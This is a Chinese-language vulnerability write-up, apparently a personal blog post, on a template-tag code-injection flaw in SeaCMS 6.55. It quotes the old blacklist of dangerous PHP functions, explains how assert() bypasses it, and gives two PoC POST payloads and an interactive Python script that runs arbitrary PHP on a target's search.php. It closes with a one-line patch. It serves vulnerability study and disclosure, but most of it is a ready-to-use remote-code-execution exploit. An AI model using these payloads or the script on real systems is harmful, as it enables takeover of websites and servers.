漏洞概况 seacms 6.54中关于代码注入给出的修复是用黑名单过滤一些常用的危险命令。
1 2 3 4 foreach ($iar as  $v){    $iarok[] = str_ireplace(array ('unlink' ,'opendir' ,'mysqli_' ,'mysql_' ,'socket_' ,'curl_' ,'base64_' ,'putenv' ,'popen(' ,'phpinfo' ,'pfsockopen' ,'proc_' ,'preg_' ,'_GET' ,'_POST' ,'_COOKIE' ,'_REQUEST' ,'_SESSION' ,'_SERVER' ,'assert' ,'eval(' ,'file_' ,'passthru(' ,'exec(' ,'system(' ,'shell_' ), '@.@' , $v); } $iar = $iarok; 
 
可以发现,还是有一些命令没有在黑名单中,比如assert()函数还是可以利用的,assert()函数中传递的函数如果是字符串,则这个字符串可以被当作php代码来执行。
assert()函数的具体用法参考: https://www.php.net/manual/zh/function.assert.php  
assert() 语法:
1 assert ( mixed $assertion [, Throwable $exception ] ) : bool 
 
 
环境搭建 
seacms 6.55 
php 5.4.45 
Windows 7 (64) + Mysql 5.6 + Apache 
 
漏洞分析 PoC :
1 2 3 4 5 // URL http://192.168.247.134/seacms655/upload/search.php?phpinfo(); // POST searchtype=5&searchword={if{searchpage:year}&year=:as{searchpage:area}}&area=s{searchpage:letter}&letter=ert{searchpage:lang}&yuyan=($_SE{searchpage:jq}&jq=RVER{searchpage:ver}&ver=[QUERY_STRING]));/* 
 
关于这个POC要先了解一下php中的$_SERVER服务器变量:
http://localhost/xxx/index.php?a=222&b=333 
$_SERVER['QUERY_STRING'] = ‘a=222&b=333’
$_SERVER['REQUEST_URI'] = ‘/xxx/index.php?a=222&b=333’
$_SERVER['SCRIPT_NAME'] = ‘/xxx/index.php’
$_SERVER['PHP_SELF'] = ‘/xxx/index.php’
 
经过替换后,eval()执行的函数就是
1 2 if (assert($_SERVER[QUERY_STRING]));
 
PoC 2:
1 2 3 4 5 // URL http://192.168.247.134/seacms655/upload/search.php // POST searchtype=5&searchword={if{searchpage:year}&year=:p{searchpage:area}}&area=r{searchpage:letter}&letter=int{searchpage:lang}&yuyan=_r({searchpage:jq}&jq={searchpage:ver}&ver=$GLOBALS) 
 
python 脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 __author__ = 'Bantian'  import  sysimport  requestsdef  help () :    print("Usage : " )     print("         python %s [URL]"  % sys.argv[0 ])     print("Example : " )     print("         python %s http://example.com/search.php"  % (sys.argv[0 ]))     print("Type command 'q' for exit" ) def  poc () :    help()     if  not  sys.argv[1 ].endswith("search.php" ):         print("[+] Please make sure url end with search.php" )     else :         while  1 :             payload = input("-> " )             url = sys.argv[1 ] + "?%s"  % payload             if  payload != "q" :                 postdata = {                     "searchtype"  : "5" ,                     "searchword"  : "{if{searchpage:year}" ,                     "year"  : ":as{searchpage:area}}" ,                     "area"  : "s{searchpage:letter}" ,                     "letter"  : "ert{searchpage:lang}" ,                     "yuyan"  : "($_SE{searchpage:jq}" ,                     "jq"  : "RVER{searchpage:ver}" ,                     "ver"  : "[QUERY_STRING]));/*" ,                 }                 r = requests.post(url = url, data = postdata)                 idx = r.text.find("<!DOCTYPE html>" )                 print(r.text[:idx])             else :                 exit() if  __name__ == "__main__" :    try :         poc()     except  Exception as  e:         print("It only works for seacms v6.55!" ) 
 
测试:
修复方案 
freebuf里的师傅给出的建议是在search.php文件的echoSearchPage()函数中添加一条过滤语句:
1 if (strpos($searchword,'{searchpage:' )) exit ;
 
目的是让所有searchpage标签的替换都失效。
参考 
https://www.freebuf.com/vuls/150303.html   
 
         
        
            
                
                    
                        Author: 
                        Bantian 
                    
                
                
                
                    
                        License: 
                        Copyright (c) 2019 CC-BY-NC-4.0  LICENSE 
                    
                
                
                     
                         Slogan: 
                         早睡早起身体好